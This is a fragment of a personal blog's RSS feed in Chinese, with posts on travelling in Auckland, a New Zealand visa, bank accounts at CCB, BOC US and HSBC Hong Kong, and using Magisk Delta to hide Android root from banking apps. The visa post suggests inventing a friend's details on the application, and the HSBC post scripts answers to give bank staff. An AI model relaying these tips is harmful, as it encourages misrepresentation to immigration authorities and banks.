&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/C1TcC2.JPG&quot; alt=&quot;C1TcC2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/EVMcci.JPG&quot; alt=&quot;EVMcci&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/GN0xCA.JPG&quot; alt=&quot;GN0xCA&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/tWZhuH.JPG&quot; alt=&quot;tWZhuH&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/6wKGbM.JPG&quot; alt=&quot;6wKGbM&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/qbQD2f.JPG&quot; alt=&quot;qbQD2f&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/2IYf8A.JPG&quot; alt=&quot;2IYf8A&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/jdVj47.JPG&quot; alt=&quot;jdVj47&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Traveling in New Zealand</title><link>https://missuo.me/posts/travel-in-nz/</link><guid isPermaLink="true">https://missuo.me/posts/travel-in-nz/</guid><description>A photo-filled Auckland travel guide covering immigration rules, car rental tips, and dining experiences during a stopover trip from Shanghai to Los Angeles via New Zealand.</description><pubDate>Fri, 25 Aug 2023 20:55:59 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;原计划是 2023 年 8 月 11 日起飞前往奥克兰(AKL)，8 月 17 日离开奥克兰飞往洛杉矶(LAX)。但是由于东航的一些原因，导致我的航班无法如期进行，因此推迟到了 14 日飞。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Flight Info&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Carrier&lt;/th&gt;
&lt;th&gt;Flight No.&lt;/th&gt;
&lt;th&gt;Aircraft Type&lt;/th&gt;
&lt;th&gt;Departure Time&lt;/th&gt;
&lt;th&gt;Departure&lt;/th&gt;
&lt;th&gt;Arrival&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MU&lt;/td&gt;
&lt;td&gt;MU779&lt;/td&gt;
&lt;td&gt;Boeing 777-300&lt;/td&gt;
&lt;td&gt;Aug 14 00:15 (GMT+8)&lt;/td&gt;
&lt;td&gt;PVG&lt;/td&gt;
&lt;td&gt;AKL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TN&lt;/td&gt;
&lt;td&gt;TN102&lt;/td&gt;
&lt;td&gt;Boeing 787-9&lt;/td&gt;
&lt;td&gt;Aug 17 15:30 (GMT+12)&lt;/td&gt;
&lt;td&gt;AKL&lt;/td&gt;
&lt;td&gt;LAX&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Experience&lt;/h2&gt;
&lt;h3&gt;Entry&lt;/h3&gt;
&lt;p&gt;抵达 AKL 之后，等行李等了 1 个多小时，但是也有朋友说很快。因为帮朋友在浦东机场日上免税店买了两根烟，结果新西兰的规定是只能带 50 支，因此在入关的时候，海关要求交纳 490NZD 的税或者丢弃到只剩下 3 包。因为两条烟的总价值就不到 300CNY，果断选择了丢弃。操作完申报之后，开始过 X 光机。新西兰非常严格，所有人的行李都必须经过 X 光机，意味着根本不可能抱有侥幸心理。入境新西兰不可以携带任何的肉类和水果蔬菜等，甚至也不能携带任何的泥土。如果你也抵达奥克兰的话，不能使用 &lt;strong&gt;NZTD&lt;/strong&gt; 填写入境单，必须要填写纸质的入境单，据说 &lt;strong&gt;基督城&lt;/strong&gt; 和 &lt;strong&gt;惠灵顿&lt;/strong&gt; 已经支持，&lt;strong&gt;奥克兰&lt;/strong&gt; 将在 8 月底支持。&lt;/p&gt;
&lt;h3&gt;AKL Airport&lt;/h3&gt;
&lt;p&gt;AKL 机场一共只有两个航站楼，分别是 AKL-I 和 AKL-D，代表的是 International 和 Domestic。航站楼不大，到达 AKL 过完 X 光机出来之后就是国际到达，甚至还有中文的标识。&lt;/p&gt;
&lt;h3&gt;Transportation&lt;/h3&gt;
&lt;p&gt;建议是落地直接租车，有很多华人的租车公司，会直接到国际到达来接你去他们提车的地方。租车的价格大概是 300-400/天。打车的话起步价大概是 8NZD，一天下来应该至少得 300-500CNY。新西兰的油价非常贵，大概在 3NZD/L 左右。租车的时候可以出示你的中国驾照翻译件，或者直接出示美国驾照。在新西兰开车是右舵，靠左行驶，刚开始可能有些不习惯。在奥克兰任何地方基本上开车 20 分钟左右都能到，非常地便利。新西兰和美国基本一样，偶尔开错没什么问题，没有拍照，不被警察逮到就不会有违章，不会罚款。&lt;/p&gt;
&lt;h3&gt;Food&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825J6T3NB.jpg&quot; alt=&quot;20230825J6T3NB&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825NUb7Pe.jpg&quot; alt=&quot;20230825NUb7Pe&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825Sj3EhW.jpg&quot; alt=&quot;20230825Sj3EhW&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825EvySQ6.jpg&quot; alt=&quot;20230825EvySQ6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825f3W0gD.jpg&quot; alt=&quot;20230825f3W0gD&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825nhj0S6.jpg&quot; alt=&quot;20230825nhj0S6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825AGG3tW.jpg&quot; alt=&quot;20230825AGG3tW&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825AbYOoZ.jpg&quot; alt=&quot;20230825AbYOoZ&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825EwKkvb.jpg&quot; alt=&quot;20230825EwKkvb&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Scenery&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202308257LBJIN.jpg&quot; alt=&quot;202308257LBJIN&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825EVjmhw.jpeg&quot; alt=&quot;20230825EVjmhw&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825yQKRYF.jpeg&quot; alt=&quot;20230825yQKRYF&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202308252QgtAJ.jpeg&quot; alt=&quot;202308252QgtAJ&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825Iw6Yhm.jpeg&quot; alt=&quot;20230825Iw6Yhm&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202308257jZVjN.jpeg&quot; alt=&quot;202308257jZVjN&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825o2MOhz.jpeg&quot; alt=&quot;20230825o2MOhz&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825T5fUDU.jpeg&quot; alt=&quot;20230825T5fUDU&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202308250igAK9.jpg&quot; alt=&quot;202308250igAK9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825U4nlbZ.jpeg&quot; alt=&quot;20230825U4nlbZ&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825ymn7nM.jpeg&quot; alt=&quot;20230825ymn7nM&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825ZWuR88.jpeg&quot; alt=&quot;20230825ZWuR88&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230825B9oCfT.jpeg&quot; alt=&quot;20230825B9oCfT&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202308257hRmDf.jpeg&quot; alt=&quot;202308257hRmDf&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/2023082523gYQJ.jpg&quot; alt=&quot;2023082523gYQJ&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>New Zealand Visitor Visa DIY Application</title><link>https://missuo.me/posts/nz-visitor-visa/</link><guid isPermaLink="true">https://missuo.me/posts/nz-visitor-visa/</guid><description>A DIY guide to applying for a New Zealand visitor e-visa online, approved in 8 days for a 5-year multiple entry visa, useful for transiting between China and the US via Auckland.</description><pubDate>Thu, 03 Aug 2023 14:41:31 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;因为飞洛杉机要在新西兰转机，并且入境玩一周的时间，所以 DIY 申请了新西兰旅行签证，主要参考的文章 &lt;a href=&quot;https://piao.tips/new-zealand-visa-in-the-us/&quot;&gt;https://piao.tips/new-zealand-visa-in-the-us/&lt;/a&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;准备的材料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;护照扫描件&lt;/li&gt;
&lt;li&gt;美国签证&lt;/li&gt;
&lt;li&gt;房产证&lt;/li&gt;
&lt;li&gt;存款证明&lt;/li&gt;
&lt;li&gt;身份证扫描件&lt;/li&gt;
&lt;li&gt;I-20 扫描件/录取 Offer&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;以上材料仅供参考！&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;申请步骤&lt;/h2&gt;
&lt;p&gt;按照 &lt;a href=&quot;https://piao.tips/new-zealand-visa-in-the-us/&quot;&gt;票帝的文章&lt;/a&gt; 注册一个帐号，填信息就行了。一开始就是一些基础信息，其中有问到为什么需要申请多次，我是让 ChatGPT 写的，大概的理由是有好朋友在新西兰上学。&lt;/p&gt;
&lt;p&gt;如果写的是拜访朋友，需要填写朋友的一些信息，比如名字、电话、地址等。但是也可以随便瞎编，应该不会真的去验证。&lt;/p&gt;
&lt;p&gt;还需要提交行程单，我是直接让 ChatGPT 规划了一下行程单。&lt;/p&gt;
&lt;p&gt;剩下的就是上传各种证明材料，必要的是护照、存款/资产证明和中国户口本。但是由于我身边没有户口本，我上传了身份证和房产证在一起的 PDF。另外，建议上传一些辅助材料，我上传了美国签证和 I-20 扫描件。&lt;/p&gt;
&lt;h2&gt;下签速度&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;申请时间：2023 年 6 月 14 日&lt;/li&gt;
&lt;li&gt;通过时间：2023 年 6 月 22 日&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果有美签，强烈建议递交，会大大加快审批速度。另外，我的 e-visa 是五年多次，单次入境最长是 6 个月，也就是五年之内可以无限次前往新西兰。小红书有说法是护照有效期如果不足五年，只会给三年或者一年，具体有待考证，我的护照有效期大概在 6 年左右。&lt;/p&gt;
&lt;h2&gt;新西兰签证有什么用&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;新西兰的风景非常不错，可以去旅行。&lt;/li&gt;
&lt;li&gt;新西兰签证可以在每次飞 中国 - 美国 往返的时候转机，因为过境签是单次的，每次过境都需要重新申请，非常不方便，另外过境签的审批速度可能还没有旅行签证快。中国 - 新西兰 - 美国 的机票非常便宜，中国 - 新西兰 大概在 3000 人民币左右，新西兰 - 洛杉机 大概在 3500 人民币左右。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;关于电子签证&lt;/h2&gt;
&lt;p&gt;由于新西兰和澳大利亚都已经采用电子签证，所以申请和下发签证的过程都直接在网上完成即可，所有的材料拍照或者扫描好转换成 PDF 上传即可。下发签证的时候也是一个 PDF 文件，建议在前往新西兰之前打印好随身携带。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230803u3Ls1v.png&quot; alt=&quot;20230803u3Ls1v&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>I closed my CCB account</title><link>https://missuo.me/posts/close-ccb-account/</link><guid isPermaLink="true">https://missuo.me/posts/close-ccb-account/</guid><description>A frustrated account of five terrible experiences at China Construction Bank branches, documenting queue-cutting, rigid policies requiring physical cards, unhelpful staff, and ultimately the decision to close the account.</description><pubDate>Fri, 21 Jul 2023 11:12:29 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;从来没有一家银行让我如此气愤，但是 CCB 值得我写一篇博客来发泄一下。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其实我自己从来没有主动办理过 CCB 借记卡。在 2019 年开学的时候，学校应该是和 CCB 有合作，统一帮忙开通了一张 CCB 的借记卡，还是学校定制的卡面，主要用于每个学期退还代办费。但是拿到的空卡是没法直接使用的，需要带上身份证件排队激活，当时由于新生太多了，排队需要很长的时间，我就计划着到时候自己去网点激活就好，暂时也不急着使用。&lt;/p&gt;
&lt;p&gt;后来有一次假期刚好回家了，在浙江省嘉兴市，我去了 CCB 嘉兴分行取了一个号，准备激活我的借记卡，没想到第一次在 CCB 的体验就让我破防了，我取了号码之后，有源源不断的人插队，而且他们根本就不需要取号就可以直接上柜台办理业务。那一次是我第一次投诉银行，我记录了现场工作人员的所有工号和名字，包括大堂经理和柜台允许插队的柜员。但是后来的投诉似乎也没有很明显的效果，只是电话回访跟我道歉。&lt;/p&gt;
&lt;p&gt;第二次去 CCB 网点是在上海，那一次的记忆有些模糊了，大概就是 CCB 说的卡片的个人信息需要补充，好像是职业信息当初没有填写，所以卡片暂时被冻结了，必须要前往网点补充信息，虽然说真的很麻烦，但是这也没办法，只能妥协。那一次等待了大概 30-60 分钟，还算是能接受。&lt;/p&gt;
&lt;p&gt;第三次去 CCB 网点又是在浙江省嘉兴市，由于过去的三年我换过几次手机，然后 CCB 的手机 App 换设备，必须要在老设备上解绑，或者插入绑定的手机卡开着蜂窝数据才可以验证，再不行只能去网点解绑设备。这一点是最让我气愤的，因为一直登录不了手机客户端，我就一直不登录。那天刚好路过 CCB 嘉兴分行，我就进去寻思着换个绑定的手机号，或者就让他们帮我解绑一下老设备。没想到的是，我只带了身份证，自助机器和人工柜台都无法办理这个业务，必须要卡片，工作人员声称必须要有介质，否则系统无法操作。我要求挂失补卡办理这个业务，工作人员说挂失补卡必须要换卡号。我又要求不换卡号换卡，工作人员又说不换卡号换卡必须要提供原卡片。简单说，就是要办理手机银行解绑老设备还得再来一次。&lt;/p&gt;
&lt;p&gt;第四次去 CCB 网点还是在浙江省嘉兴市，这次去的是另外一家支行，这次我带上了卡片和身份证，顺利地解绑了老设备，在新的手机上成功地登录了 CCB 客户端。但是因为这张卡片有限额，我要求把限额调高一些，否则很多时候卡里有钱，但是无法转出或者消费。工作人员要求我出示社保卡，但是我没有携带社保卡，但是支付宝上可以看到电子社保，工作人员认定不能作为提额的材料，我说我有本人房产证和存款证明电子版，让他们帮忙打印一下，他们认为电子版的材料一样不能作为提额材料。我又说我往这张卡片里面存入一定数额的存款，让他们本行开具存款证明，将该存款证明作为提额材料，工作人员依然告诉我不行。&lt;/p&gt;
&lt;p&gt;第五次去 CCB 网点是因为我毕业了，不再需要这张卡片，也不想再和 CCB 有任何的联系，CCB 足够让我失望，我决定销户。我又到了一家从未去过的网点，跟大堂经理说，我要销户。她给我取了一个 &lt;strong&gt;现金业务&lt;/strong&gt; 的号，但是我看到现金业务有很多人在排队，我说我卡里没有任何余额，不能在非现金业务窗口办理嘛。她让我去尝试一下，结果非现金业务的系统在执行销户操作的时候，需要选择一个承接账户，意思是剩余的余额要有一个别的建行账户接收，但是我没有别的建行账户，无法进行下一步。&lt;strong&gt;但是很离谱的是，我明明没有余额，但是系统仍然强制要求选择一个承接账户，否则下一步是灰色的。&lt;/strong&gt; 后来我等了 45 分钟上柜台完成了销户，我立即删除了 App，终于不用和这家银行有任何的接触了。&lt;/p&gt;
&lt;h3&gt;总结&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;CCB 的网点办理业务的系统设计的非常烂，比如解绑手机银行的旧设备，必须要卡片作为介质，非常死板。比如在非现金业务销户的时候，明明卡片没有任何余额，必须要选择承接账户显然不合理。&lt;/li&gt;
&lt;li&gt;CCB 的手机 App 设计的非常古老，在人脸识别还没有普及的时代，它这样的设计是为了安全，但是在 2023 年这个时间，大部分的银行 App 在登录新的设备时，仅需要绑定的手机接收验证码，再加上人脸识别即可，但是 CCB 没有人脸识别的选项。&lt;/li&gt;
&lt;li&gt;CCB 对于工作人员的管理非常随意，允许不取号插队的行为，大堂经理经常消失在大堂，导致大堂空无一人，更离谱的是在还有 10-20 人等待办理业务的时候，仅开放一个柜台办理业务，这个情况在我去的每个支行和分行同时存在。&lt;/li&gt;
&lt;li&gt;CCB 工作人员的素质普遍不高，某支行的工作人员以阴阳怪气的态度和客户交流，例如，工作人员说他们是银行，不是政府机构，从来没说过“最多跑一次”。例如，工作人员说除非你在医院奄奄一息了，他们可以上门帮忙办理业务。分行的所谓的“领导”在工作时间不穿工作服装，并且不愿意出示任何工牌。当我有一次和所谓的“领导”交流的时候，某工作人员直接报警了。我们在交流中并没有出现任何不文明的言语，也没有任何的肢体接触，工作人员却选择了报警解决问题。&lt;/li&gt;
&lt;li&gt;CCB 的投诉热线形容虚设，由于为了方便 CCB 的领导处理我的投诉问题，我在每次投诉的时候都上报了办理业务的工作人员的工号和名字，但是似乎最终等到的回复只有道歉，却没有任何实质性的改变。而且我要求进一步核实的时候，投诉回访的工作人员表示同意，但是在挂断电话后立即标记投诉工单的状态为已完成。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;以上是我了解的我所在城市的 CCB，别的城市是不是也是一样，我不得而知。&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Bank of China US Account Opening Guide</title><link>https://missuo.me/posts/bocus-open-account/</link><guid isPermaLink="true">https://missuo.me/posts/bocus-open-account/</guid><description>A step-by-step guide for F1/J1 visa holders to open a Bank of China US account through the &quot;美好前程&quot; program, enabling fee-free transfers between BOC global accounts for tuition and living expenses.</description><pubDate>Wed, 12 Jul 2023 16:09:42 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;BOC 全球的同名账户之间转账是不需要手续费的，我也已经开立了 &lt;strong&gt;BOCHK&lt;/strong&gt;，感兴趣的可以看看之前的文章。开户 BOCUS 主要是为了之后在美国上学交学费和生活费可以省下转账手续费。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;开户材料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;有效的 F1 或者 J1 签证&lt;/li&gt;
&lt;li&gt;护照&lt;/li&gt;
&lt;li&gt;本人身份证&lt;/li&gt;
&lt;li&gt;I-20&lt;/li&gt;
&lt;li&gt;开户申请表 (在系统上下载打印)&lt;/li&gt;
&lt;li&gt;W8 表格 (在系统上下载打印)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;开户步骤&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在 &lt;a href=&quot;https://www.bocusa.com/&quot;&gt;&lt;strong&gt;中国银行美国官网&lt;/strong&gt;&lt;/a&gt; 点开 &lt;a href=&quot;https://www.bocusa.com/zh-hans/personal-banking/deposits/overseas-student-account&quot;&gt;&lt;strong&gt;美好前程&lt;/strong&gt;&lt;/a&gt; 开户的页面。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开 &lt;a href=&quot;https://ebanking.bocusa.com/overseastudents&quot;&gt;美好前程见证开户线上平台&lt;/a&gt; 注册帐号，填写信息。将填写完之后生成的表格下载好，并且带去你所在城市的 &lt;strong&gt;分行&lt;/strong&gt;（必须是分行，例如你在西安，请务必去西安分行，支行没有权限），将材料提交给 &lt;strong&gt;理财经理&lt;/strong&gt;，方便的话建议加个联系方式，方便追踪开户进展。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;其实上面交材料的步骤差不多只需要 10 分钟左右，理财经理基本就是核对一下你的信息，确保没有填错。有一些注意的点是，取现金和存现金这一部分我的建议是最好都不选，否则会问你学校在 PA，BOCUS 网点只有在 NYC 怎么取现，当然你可以回答经常在 NYC 转机什么之类的理由。另外每年转账的金额，必须严格按照 I-20 填写，不能高于 I-20 上的预计支出，否则也需要做出额外的合理的解释。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接下来你会收到邮件让你登录 &lt;a href=&quot;https://ebanking.bocusa.com/overseastudents&quot;&gt;美好前程见证开户线上平台&lt;/a&gt; 查看交流中心中 &lt;strong&gt;纽约分行&lt;/strong&gt; 工作人员给你发送的消息，这是一个聊天窗口。一般就是让你修改表格信息之类的。你只需要按照他给你提出的意见修改就可以，不需要再去线下分行了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;等待审核通过，会邮件通知你账户已经开立。（亲测总共耗时 9 天）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230713pGU7SG.png&quot; alt=&quot;20230713pGU7SG&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;等待制卡和邮寄，我选择的是邮寄到中国地址可能会慢一些。如果已经在美国租房的，建议邮寄到美国地址。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230713JUGdLj.png&quot; alt=&quot;20230713JUGdLj&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;后续转账&lt;/h2&gt;
&lt;p&gt;需要现在 BOC App 上购汇（美元），然后使用 &lt;strong&gt;跨境汇款&lt;/strong&gt; 转账到 BOCUS，同名账户手续费 0 元。当然这样会占用每人每年 5 万刀的购汇额度，如果不想占用购汇额度，可以带着 I-20 相关材料去网点申请不占额度的购汇。&lt;/p&gt;
</content:encoded></item><item><title>Switch from Magisk to Magisk Delta</title><link>https://missuo.me/posts/magisk-delta/</link><guid isPermaLink="true">https://missuo.me/posts/magisk-delta/</guid><description>A guide to upgrading from Magisk to Magisk Delta for better ROOT hiding, solving issues with banking apps like UnionPay and biometric payment features in WeChat and Alipay.</description><pubDate>Wed, 12 Jul 2023 11:49:05 GMT</pubDate><content:encoded>&lt;h2&gt;Magisk&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Magisk&lt;/strong&gt; 是目前常用的 Android ROOT 工具，总体来说没什么太大的问题。但是部分 App 会检测到 ROOT 之后无法正常运行，常见的是一些银行类 App，例如云闪付等。除此之外，例如微信、支付宝这类 App 的指纹支付无法开启，麦当劳中国 App 闪退。&lt;/p&gt;
&lt;p&gt;目前的解决方案就是使用 &lt;a href=&quot;https://github.com/LSPosed/LSPosed.github.io/releases&quot;&gt;Shamiko&lt;/a&gt; 来隐藏 ROOT。&lt;/p&gt;
&lt;h2&gt;Magisk Delta&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Magisk Delta&lt;/strong&gt; 就是为了解决这个问题，可以完全地隐藏 ROOT。&lt;/p&gt;
&lt;h2&gt;如何升级&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;安装 Magisk Delta App，修补 &lt;strong&gt;boot.img&lt;/strong&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href=&quot;https://cdn.jsdelivr.net/gh/huskydg/magisk-files@301b1865c7d47bbed1e375541987aee0cd1b753d/app-release.apk&quot;&gt;Download APK&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用 &lt;strong&gt;Fastboot&lt;/strong&gt; 刷入修补之后的 &lt;strong&gt;boot.img&lt;/strong&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;fastboot flash boot_a boot_patched.img
fastboot flash boot_b boot_patched.img
fastboot reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;开机之后，卸载 &lt;strong&gt;Magisk App&lt;/strong&gt;，打开新的 &lt;strong&gt;Magisk Delta App&lt;/strong&gt;，开启 &lt;strong&gt;MagiskHide&lt;/strong&gt; 和 &lt;strong&gt;Enforce SuList&lt;/strong&gt;。（注意开机之后不需要重新导入模块，理论上会自动识别之前安装的所有模块，包括&lt;strong&gt;LSP&lt;/strong&gt;）
&lt;img src=&quot;https://i.uid.si/img/20230712ZBVeDI.jpg&quot; alt=&quot;20230712ZBVeDI&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230712xkDIyI.jpg&quot; alt=&quot;20230712xkDIyI&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>HSBC Hong Kong One Account Opening Guide</title><link>https://missuo.me/posts/hsbc-hk-one-account/</link><guid isPermaLink="true">https://missuo.me/posts/hsbc-hk-one-account/</guid><description>A guide to opening an HSBC Hong Kong One account as a mainland Chinese visitor, covering required documents, branch selection, account tiers, and a fee-free funding method through BOCHK and FPS.</description><pubDate>Sun, 18 Jun 2023 17:44:41 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;相比 BOCHK，HSBC HK 的服务好太多了！而且 HSBC 开户更加容易。网点也比较多，工作人员也非常友好，不会刻意刁难。最关键的是 HSBC 可以申请一张 Debit Card，可以绑定 Apple Pay 消费，非常方便。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;准备材料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;港澳通行证&lt;/li&gt;
&lt;li&gt;大陆身份证&lt;/li&gt;
&lt;li&gt;入境小票&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;BOCHK 如果你的通讯地址不是身份证的地址，必须要提供地址证明文件，例如信件、水电费或信用卡账单等等。如果通讯地址和身份证一致，则无需提供。而 HSBC 向你询问通讯地址的时候，&lt;strong&gt;不需要提供任何证明文件&lt;/strong&gt;，仅需在纸上写下全英文地址即可。&lt;/p&gt;
&lt;h2&gt;开户过程&lt;/h2&gt;
&lt;h3&gt;网点选择&lt;/h3&gt;
&lt;p&gt;尽量去一些人比较少的网点，我有幸去过三家网点，第一家在香港岛的 &lt;strong&gt;電氣道分行&lt;/strong&gt;，这家是我开户的网点，工作日上午 11 点左右过去，等待时间不长，相比 BOCHK 3 个多小时来说，这家就等待了 10 多分钟。第二家是在中环的 &lt;strong&gt;香港总行&lt;/strong&gt;，虽然办理窗口很多，但是等待的时间相当久，大概有一个多小时。第三家是在会展和湾仔附近的 &lt;strong&gt;新鸿基中心分行&lt;/strong&gt;，等待时间不是很久。&lt;/p&gt;
&lt;h3&gt;开户前的咨询&lt;/h3&gt;
&lt;p&gt;一般情况下，上来先会问你开户的需求，请不要说用来购物消费之类的理由，她会拒绝你的开户请求，因为大陆的信用卡或者 Alipay 之类的在香港都可以用，工作人员认为你完全没必要开户 HSBC。一般的说辞是 &lt;strong&gt;投资理财买保险&lt;/strong&gt;，你就说“听说香港这边的存款利率会比较高，我想把钱存在你们银行”，工作人员会问你大概会存多少钱，你就回答 10 万港币以上。另外还会问你第一笔存款大概会在多少，你就回答几万港币。请记住一定不要说几千，否则可能会被拒绝。&lt;/p&gt;
&lt;h3&gt;开户过程&lt;/h3&gt;
&lt;p&gt;大概就是录入你的一些信息，其实倒也不会很慢，需要签几次名字。开户成功之后，会给你一个信封，里面有一张卡，叫作 &lt;strong&gt;提款卡&lt;/strong&gt;。提款卡，顾名思义只能取款或者存款。信封里面还会有这张卡的初始密码，建议找一台 HSBC ATM 修改成你常用的。开户完成之后可以在 HSBC App 上申请 Debit Card，会寄到你的通讯地址，默认是平邮，不能指定。&lt;strong&gt;大概 2-3 周如果还没有收到信件的话，可以打电话要求补寄，补寄可以要求挂号信或者 DHL 快递，DHL 需要自己清关。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;关于 One 和 Premier 账户&lt;/h2&gt;
&lt;p&gt;HSBC 在中国大陆是没有 One 账户的，中国大陆开户的最低等级是 Premier，开户条件是有 50 万人民币以上的存款、理财或保险。而且必须要始终保持 50 万人民币，否则将收取高额的账户管理费。&lt;/p&gt;
&lt;p&gt;HSBC 在中国香港是有 One 账户的，理论上开户无门槛，所以说开完账户之后你无论存多少钱都可以。但是因为工作人员为了保证开的不是一个空户，还是会例行询问会存入多少钱之类的。Premier 账户在香港的要求是存款 100 万港币以上。&lt;/p&gt;
&lt;p&gt;一地 Premier 全球 Premier，按照 HSBC 客服的说法，你在 HSBC 全球任意一个国家或地区成为 Premier 之后，再到别的国家或地区开户 HSBC Premier，不用达标当地的 Premier 要求，也可以免收账户管理费。&lt;/p&gt;
&lt;h2&gt;入金&lt;/h2&gt;
&lt;p&gt;如果你愿意承担跨境转账的手续费的话，其实方案很多。我目前采用的方案是不需要任何手续费的，但是必须要有 BOCHK 做跳板。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. BOC CN 购汇 HKD
